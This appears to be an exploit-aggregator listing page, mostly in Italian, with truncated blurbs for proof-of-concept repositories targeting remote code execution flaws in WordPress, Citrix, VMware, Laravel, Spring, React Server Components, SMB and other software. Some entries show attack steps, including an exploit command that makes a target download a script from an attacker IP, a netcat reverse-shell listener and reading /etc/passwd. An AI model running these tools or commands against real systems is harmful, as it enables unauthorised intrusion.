CVE-2026-63030-CVE-2026-60137-wp2shell-poc

wp2shell — Proof‑of‑Concept di Blind SQL Injection temporizzata su WordPress REST API → RCE Descrizione pocwptot.py è un proof‑of‑concept PoC per sfruttare la vulnerabilità di blind SQL injection basata sul tempo nell'endpoint batch delle WordPress REST API, ed eseguire una catena di escalation...

CVE-2019-5029

CVE-2019-5029 Questa è una PoC in script Python per CVE-2019-5029. Si tratta di una RCE per Exhibitor Web UI 1.7.1. Come usarla Clona questo repository git clone https://github.com/yZ1337/CVE-2019-5029.git Esegui come segue python3 CVE-2019-5029.py Assicurati che la richiesta all'interno dello...

Ctirix_RCE-CVE-2019-19781

CtirixRCE-CVE-2019-19781 Citrix ADC RCE cve-2019-19781 Video Seguici Vulnmachines YouTube Twitter Facebook...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker Iniezione di template lato server POC per Vmware CVE-2022-22954 Usa questa richiesta GET su una sola riga!! Questo eseguirà cat /etc/passwd...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability Descrizione della vulnerabilità Molto spesso usiamo WebView per visualizzare una pagina web. Ad esempio, molte applicazioni, per ottenere il controllo da parte del server, mostrano come risultato una pagina web piuttosto che un’implementazione locale. Quest...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Ambiente di test root@kitploit: mkdir CVE-2021-3129-docker cd CVE-2021-3129-docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml docker compose up -d Utilizzo root@kitploit: git clone...

CVE-2026-6271

CVE-2026-6271 — Scanner RCE do Plugin Career Section para WordPress Plugin: Career Section career-section CVE ID: CVE-2026-6271 CVSS Score: 9.8 Crítica CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota...

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server Gioca con react2shell in un ambiente sicuro! Avvio rapido Clona il repository root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Esegui il file Docker root@kitploit: docker compose up --build -d PoC...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE Exploit Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2024-51793, eine nicht authentifizierte Schwachstelle zum beliebigen Hochladen von Dateien in einem verwundbaren...

eval-stdin

La vulnerabilità PHP eval-stdin.php CVE-2017-9841 è una vulnerabilità RCE nel eval-stdin.php obsoleto. Questo exploit è solo un'automazione per la vulnerabilità menzionata ed è ancora in fase di sviluppo. Scritto in Ruby 3.0.4 in meno di 2 ore, testato su Kali Linux, Arch Linux, Ubuntu minimal e...

cve-2022-22947

Iniezione di codice SpEL nell'API Actuator di Spring Cloud Gateway CVE-2022-22947 Compilazione root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC invia...

CVE-2025-55182

👻 Exploit Go per CVE-2025-55182 Strumento interattivo per l'exploit RCE di CVE-2025-55182 React Server Components 🎯 Cos'è? CVE-2025-55182 è uno strumento minimale e interattivo per l'exploit RCE che prende di mira CVE-2025-55182 , una vulnerabilità critica nei React Server Components RSC che...

cve-2018-1207

cve-2018-1207 Exploit per iDRAC 7 & 8 con firmware 2.52.52.52 Descrizione Dell EMC iDRAC7/iDRAC8, versioni precedenti alla 2.52.52.52, contengono una vulnerabilità di iniezione CGI che potrebbe essere utilizzata per eseguire codice remoto. Un attaccante remoto non autenticato potrebbe...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit Questa è un'implementazione Python di Spring4Shell, CVE-2022-22963, che colpisce i servizi che eseguono Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar da https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget USO EXP...

-CVE-2020-0796-SMBGhost-Windows-10-SMBv3-Remote-Code-Execution-Vulnerability

POC di overflow remoto CVE-2020-0796 POC per verificare CVE-2020-0796 / "SMBGhost" Utilizzo Assicurarsi che Python sia installato, quindi eseguire cve-2020-0796.py...

CVE-2017-11610

Supervisord Remote Command Execution Schwachstellen-Skript CVE-2017-11610 Schwachstellenbeschreibung Supervisor ist ein in Python geschriebener Prozessmanagement-Tool, das es ermöglicht, auf UNIX-ähnlichen Systemen Windows wird nicht unterstützt Prozesse zu starten, neu zu starten automatischer...

CVE-2025-62369

CVE-2025-62369 PoC Questo script sfrutta la CVE-2025-62369 in Xibo CMS per eseguire un comando di reverse shell. Autore Nome: Cristian Branet GitHub: cristibtz Utilizzo 1. Avvia un listener root@kitploit: nc -lvnp 2. Esegui l'exploit root@kitploit: python3 exploit.py -u "http://:" -s "" -i -p :...

CVE-2017-9841

CVE-2017-9841 Laravel-RCE: CVE-2017-9841 CVE-2017-9841 è una vulnerabilità critica di esecuzione remota di codice RCE che colpisce la libreria PHPUnit, ampiamente utilizzata per test automatizzati in PHP. Questa falla consente a un attaccante di eseguire comandi arbitrari sul server se riesce ad...

cve-2025-66398

⚠️ cve-2025-66398 - Semplice strumento Proof of Concept per RCE ⚙️ Informazioni su Questo Strumento Questo progetto dimostra una vulnerabilità di esecuzione remota di codice RCE in Signal K Server versioni 2.18.0 e precedenti. La proof of concept PoC mostra come un attaccante potrebbe eseguire...